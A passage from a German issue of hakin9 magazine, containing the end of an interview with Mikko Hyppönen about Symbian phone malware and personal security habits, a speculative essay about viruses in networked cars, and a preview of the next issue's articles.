von Vidcom. Die meisten Arbeitsstationen mit installiertem Windows-System waren über zwei Jahre lang für einen Remote-Exploit anfällig, welches verwendet werden kann, um über Bluetooth einen beliebigen Code auf dem angegriffenen System auszuführen. Wir befürchten, dass Sicherheitslücken in populären WLAN-Standards entdeckt werden und wissen, dass eine solche Entdeckung nicht nur möglich, sondern sogar höchst wahrscheinlich ist. h9 : Bei Deinem Auftritt hast Du über das System Symbian OS gesprochen. Meines Wissens ist es bisher das einzige Betriebssystem für Handys, das infiziert werden konnte. Woher kommt es, dass man einen Virus gerade für Symbian erstellen kann und beispielsweise nicht für das mobile Linux? MH: Es gibt keine einzige Sicherheislücke. Jedes Virus, jeder Wurm und Trojaner, die wir gesehen haben, wollte nicht ein konkretes Sicherheitsloch ausnutzen, sondern hat eher auf der Unachtsamkeit des Benutzers basiert. Solche Viren funktionieren nach genau demselben Prinzip, wie auch E-Mail-Viren. h9 : Genauso wie LoveLetter? MH: Exakt. Leute, die sich von dem Betreff und Inhalt der Nachrichten täuschen lassen, öffnen das Attachement. Auf dem gleichen Prinzip basieren heutzutage Viren, die Handys infizieren und sich über Bluetooth verbreiten. Der Benutzer selbst ist immer noch die größte Gefahr, die zur Infektion eines mobilen Geräts führen kann. Wenn man die Systeme Windows und Symbian vergleicht, kann man interessante Schlußfolgerungen ziehen. Symbian warnt den Benutzer vor einem Startversuch einer unbekannten Applikation – Windows nicht. Unter diesem Aspekt betrachtet ist also Symbian... sicherer als Windows. h9 : Mit welchen gefährlichen Trojanern habt Ihr im Laufe der letzten Monate zu tun gehabt? MH: Wenn es um Infektionen von Mobilgeräten geht, müssen solche Trojaner erwähnt werden, die sogar das Starten des Geräts nicht mehr ermöglichten. Es gab Infektionen, durch die man das infizierte Handy gar nicht mehr benutzen konnte – man konnte nicht einmal mehr die Notrufnummer wählen. Die Reparatur eines solchen Gerätes kann auf verschiedene Arten erfolgen. Man kann das Handy auf Herstellereinstellungen zurücksetzen, was eine Formattierung des gesamten Speichers und einen Verlust aller Daten zur Folge hat. Und das will ja keiner. Man kann auch ein anderes Handy benutzen, um eine Speicherkarte mit unserer Software vorzubereiten, die das bösartige Programm vom infizierten Handy entfernt. Der letzte interessante Trojaner war blank phone. Er erhielt seinen Namen auf Grund seiner speziellen Funktionsweise - es ist nach einer Infektion nicht mehr möglich, irgendetwas im Gerät zu lesen, denn es gibt zwar Symbole und Bilder aber man kann keine Fonts mehr sehen. Es ist verzwickt, denn selbst wenn man ein Antivirenprogramm installiert hat, sieht man keinen Text und kann es nur sehr schwierig aufrufen. Man muss wissen,

www.hakin9.org

welche Tastenkombination zu drücken ist, damit man den Virus los werden kann. h9 : Gibt es eine Gefahr, dass man sein Handy durch ein heruntergeladenes Java-Spiel infiziert? MH: Erstens – wir haben noch kein Java-Spiel gesehen, das einen Virus enthalten würde. Es gibt dahingehend sicherlich Gefahren, die wir allerdings noch nicht entdecken konnten. Alle bösartigen Programme, mit denen wir zu tun hatten, waren ein nativer Code von Symbian. h9 : Welchen Ratschlag kannst Du Besitzern von Mobilgeräten mit einem Symbiansystem und Bluetooth geben, um ein Maximum an Sicherheit zu erreichen? MH: Praktisch alle Gefahren betreffen das Symbian der 60er-Serie. Wenn das Mobilgerät mit einem anderen Betriebssystem ausgestattet ist, wie Symbian 40 oder 80, Windows oder Linux, ist das Risiko sehr, sehr gering. Wenn es sich um ein Handy mit Symbian 60 handelt, existiert eine Infektionssgefahr in dem Moment, in dem unbekannte Applikationen installiert werden. Um sich dagegen zu schützen, sollte man Bluetooth ausschalten oder zumindest in den versteckten Modus übergehen und Applikationen nicht akzeptieren – es sei denn, dass sie erwartet werden. Man darf nicht Applikationen unbekannter Herkunft installieren. h9: Hat F-Secure die Absicht, in der Zukunft ein Antivirenprogramm für andere Systeme zu entwickeln, wie z.B. für Linux? MH: Zu diesem Thema darf ich leider nichts sagen, was aber nicht bedeutet, dass wir unsere Linux-Software nicht weiterentwickeln. Jeder weiss, dass Finnland ein sehr Linux-freundlicher Staat ist. Linus Torvalds hat mal gleich neben unserem Büro gewohnt. Wir interessieren uns immer für die Unterstützung jeder Linux-Plattform. h9 : Ich bin sehr gespannt, wie Du Dein eigenes privates System und Dein eigenes Handy vor Angriffen schützt... MH: Nach über 15 Jahren Arbeit in dieser Branche habe ich eine ein bisschen paranoide Einstellung in der Sache der Schutzmaßnahmen und verwende mehrschichtige Schutzmittel. Mein Handy hat ein Antivirenprogramm, ich schliesse auch alle offenen Ports, die für einen Angriff verwendet werden könnten. Auf der Seite meines Rechners benutze ich zwei Hardware-Firewalls – die eine basiert auf einem BSD-System, die andere befindet sich in meinem Router. Auf meinem Laptop benutze ich eine SoftwareFirewall mit einer Antiviren-Software, die das System in Echtzeit scannt. Wenn es um den Antispam-Schutz geht, verwende ich seit über 10 Jahren eine Email-Adresse, die allgemein bekannt ist. Wie man sich leicht denken kann, bedeutet dies täglich eine Unmenge von Spam. Ich schütze mich davor mit Hilfe von procmail auf meinem Unix-Server, der einen großen Teil des Spam entfernt. Nach dem Herunterladen der restlichen Nachrichten verwende ich zwei weitere Filter. Somit empfange ich lediglich 5 bis 10 Spam-Nachrichten pro Tag. h9 : Ich bedanke mich für das Interview, Mikko. MH: Ich danke auch und begrüße die Leser des hakin9Magazins.

hakin9 Nr. 3/2006

79

Mein Auto hat eine Firewall Feuilleton Regis Gabineski

W

er sagt, Technologie macht das Leben nur leichter? Heute Morgen hat mein BTicino um 5 Uhr die Fenster geöffnet und das Licht in meinem Schlafzimmer angemacht. Ein einziger Fehler in dem Gadget und ich werde um eine Stunde Schlaf gebracht! Ich war zwar wütend, stand aber ziemlich tatkräftig auf und ließ meine stimmgesteuerte Badewanne ein Bad von 31 Grad Celsius vorbereiten. Nachdem ich in der Küche meinen Joghurt gewählt hatte, prüfte ich meine E-Mails und stellte fest, dass der BTicino Recht hatte. Die erste E-Mail in der Mailbox besagte, dass ich um 6 Uhr irgendwo auf der anderen Seite der Stadt sein müsse! Zwar hatte ich noch andere wichtige E-Mails zu lesen, doch das konnte ich auch unterwegs erledigen. Autos unterstützen jetzt BlueTooth, Wi-Fi, GPS, GPRS und andere Übertragungstechnologien. Sie verfügen auch über mehrere mächtige Betriebssysteme, die dem Fahrer und den Passagieren Live-Sprachkommunikation, den Zugriff auf personalisierte Websites und die Möglichkeit bieten, Unterhaltungs- und Nutzdienste zu bestellen. Der ganze Komfort hat die Zahl der Wagen auf den Straßen drastisch erhöht und jetzt dauern Fahrten länger. Kein Wunder, dass ich eine Stunde brauche, um die Stadt zu durchqueren. Das Murphysche Gesetz erweist sich für mich immer wieder als wahr. Ich bin bereits verspätet und stecke nach wie vor im Stau. Die Wagenschlange ist enorm; ich verbringe die Zeit mit dem Lesen meiner E-Mails und schaue mir einen Film auf DVD an. Während ich mir auf diese Weise die Wartezeit überbrücke, muss ich stets daran denken, wie toll es ist, so viele Ressourcen in einem mobilen und so engen Raum zur Verfügung zu haben. Mein Wagen ist mit einem Sicherheitssystem bestückt, für das der Fahrer die höchste Prioritätsstufe besitzt. Verkehrsgefährdende Einrichtungen werden abgeschaltet, wenn sich das Auto bewegt. Im Fahrzeug ist das FreeBSD-System installiert, das Motorfunktionen, Bremsen, Getriebe und Airbags kontrolliert. Um eine Zerstreuung des Fahrers zu vermeiden, verlässt es sich dennoch auf ein UNIX-System. Die Betriebssysteme kommunizieren miteinander, sind aber voneinander unabhängig. Der Wagen verwendet eine BlueTooth-Verbindung im Zündmechanismus, in den Seitentüren und dem Kofferraum. Das Kontrollpanel erhält eine Satellitenverbindung aufrecht. Insgesamt gibt es vier Wege, über die fahrzeugspezifische Viren eindringen können. Gott sei Dank ist eine Firewall installiert.

80

hakin9 Nr. 3/2006

Meine Überlegungen werden plötzlich durch das vor mir liegende Chaos unterbrochen. Mehrere Autos fangen an zu dröhnen, ihre Warnbeleuchtung blinkt, ihre Kofferräume öffnen und schließen sich und Wasser spritzt über die Windschutzscheiben. Zum selben Zeitpunkt meldet das Sichterheitssytem meines Wagens Versuche ins Betriebssystem einzudringen. Ein Virus strebt danach die Kontrollpanels meines Fahrzeugs zu übernehmen und bestimmte Ressourcen zu aktivieren. Glücklicherweise hat das Problem mein Auto nicht direkt betroffen, meine Verspätung nimmt dadurch aber weiter zu. Ich habe zwar im Web gesurft und ein paar Filme downgeloadet, doch das eigentliche Ziel meiner Reise, eine pünktliche Ankunft, wurde verfehlt.. Was wäre aber, wenn das Virus mein Auto erfolgreich befallen hätte? Wenn es plötzlich auf 200 Stundenkilometer beschleunige und sich nicht mehr stoppen ließe? Es könnte schlimmer sein. Wenn aber alle Fahrer im Stau eine Firewall installiert gehabt hätten, wäre überhaupt nichts passiert. Es ist unwahrscheinlich, dass uns solch ein Tag wirklich passieren könnte. Es ist aber gut möglich, dass unsere Kinder ein derartiges Szenario öfters erleben werden. Die Kommunikationsfähigkeiten der Fahrzeuge helfen Fahrern und Passagieren unterwegs sicher und zuverlässig zu kommunizieren, präzise Informationen auf Anfrage zu erhalten und auf digitale Medien zuzugreifen. Weiters gibt es noch GPS-Verfolgung, die ein konkretes Auto unter vielen ausfindig machen lässt. Heutzutage stehen nur wenigen Leuten solche Ressourcen zur Verfügung, doch der unaufhaltsame Fortschritt wird irgendwann diese hoch entwickelte Fahrzeugtechnologie auch in unser alltägliches Leben überführen. Die Vorstellung, dass sich Autos gegen Menschen wenden könnten, wirkt an den Haaren herbeigezogen. Ein Übeltäter müsste auf den Wagen schon eine Zeit lang physikalisch zugreifen können, um einen Bug darin einzuschleusen. Zumindest jetzt noch. Ein erfolgreicher Virus könnte auf Grund der unterschiedlichen Technologien nur in wenigen Autos funktionieren. Die Möglichkeit, dass er sich von Wagen zu Wagen verbreiten könnte, liegt noch in ferner Zukunft, die allerdings mit immer schnelleren Schritten auf uns zukommt. Was wäre wohl passiert, wenn eines dieser Viren einen Wagen mit Windows Automotive angegriffen hätte oder beim Überholen den Blue Screen of Death auslösen würde? l

www.hakin9.org

hakin9 4/2006

In der kommenden Ausgabe u.a.: Ankündigungen

Jailen von Diensten in FreeBSD Praxis

FreeBSD wird als eines der sichersten Betriebssysteme für Produktionsserver angesehen. Es wird von solchen Firmen wie Yahoo, Novell, Apache Inc., Hotmail und sogar Microsoft verwendet. Remigiusz Hajduk beschreibt die Features einer Jail in FreeBSD 5.x und 6.x. Es wird gezeigt, wie mithilfe dieser Technik eine sichere Umgebung für populäre Dienste wie E-MailServer, FTP, WWW oder Datenbanken erstellt werden kann. Des Weiteren wird ein ähnlicher Mechanismus namens chroot auf hin Schwachstellen geprüft.

Techniken zum Aufdecken und Identifizieren von Viren Techniken

Die Viren sind ein wahrer Alptraum vieler Computerbenutzer. Sowohl das Vorbeugen von Infektionen als auch Heilen eines infizierten Rechners sind nur noch mithilfe eines Antivirenprogramms möglich, das über aktuelle Virensignaturen verfügt. In seinem Artikel stellt Robert Majdański vor, wie ein Antivirenprogramm eine verdächtige Aktion im System entdeckt, sowie auf welche Weise es ein Virenprogramm findet und es entfernt. Außerdem schauen wir uns die Gefahren an, die mit der Ausbreitung von Virensignaturen unter den Benutzern verbunden sind und beschreiben, wie man sich vor ihnen schützen kann.

Die Proxy-Scan-Technik Fokus

Worin besteht das Proxy-Scannen und wodurch unterscheidet es sich vom passiven oder aktiven Scannen? Pablo Fernandez beschreibt ausführlich, wie diese Technik sowohl zum Scannen eines einzelnen Hosts sowie des gesamten Netzwerks – auch in einem Unternehmen – eingesetzt werden kann. Wir erfahren auch, wie der Scannvorgang mithilfe des Tools proxychain verbessert werden kann. Darüber hinaus stellt der Autor vor, wie proxy scan zum Umgehen von Firewalls benutzt werden kann.

Sammeln von Viren Umgebung

Manchmal kann ein Hobby seltsame Formen annehmen. Bekannt ist das Sammeln von Briefmarken, Postkarten oder Münzen... In diesem Artikel zeigen wir, dass auch die Computerviren und andere Schadprogramme kollektioniert werden können. Wie entsteht eine solche Sammlung und wie kann sie verwaltet werden? Wie kann sie zum Vertiefen unseres Wissens über die Applikationen dieser Art verwenden werden, ohne dass unsere Umgebung darunter leiden muss? Die Antworten auf diese Fragen finden Sie in der kommenden Ausgabe des Magazins hakin9.

Aktuelle Informationen zur kommenden Ausgabe – http://www.hakin9.org/de Die Ausgabe ist ab Anfang Juli 2006 im Handel erhältlich. Die Redaktion behält sich das Recht auf die Änderung in der Artikelzusammenstellung vor.